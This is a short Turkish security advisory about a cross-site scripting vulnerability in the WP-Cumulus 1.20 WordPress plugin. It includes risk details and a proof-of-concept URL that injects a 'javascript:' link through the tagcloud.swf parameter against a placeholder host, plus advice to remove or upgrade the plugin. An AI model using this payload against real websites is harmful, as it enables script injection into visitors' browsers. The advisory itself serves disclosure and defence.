Risk: NormalEtki: Cross-Site-Scripting Saldırına mahruz kalmakEtkilenenler: Cumulus 1.20 sürümlü eklentiyi kullanan WordPress BloglarRemote Exploit: Aktif -MevcutBilgi: WordPress'in Cumulus eklentisinin 1.20 sürümünde keşfedilen Güvenlik açığı eklentinin kurulu olduğu WordPress bloglarda Cross-Site-Scripting Saldırıları yapılmasına neden oluyor. Exploit: http://hedefsite/wp-content/plugins/wp-cumulus/tagcloud. swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert '+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3EEklentinin Orjinal Dizini: http://hedefsite/wp-content/plugins/wp-cumulus/wp-cumulus. php Nasıl Korunabiliriz, Güvenlik nlemi Nedir? İlgili eklentiyi Bloğunuzda varsa kaldırabilir ya-da Cumulus eklentisinin bir üst sürümüne geçebilirsiniz. Ref & Kaynak: http://www.onuroktay.com/?p=570 Bilgi güçtür, düşmanını barışa zorlar.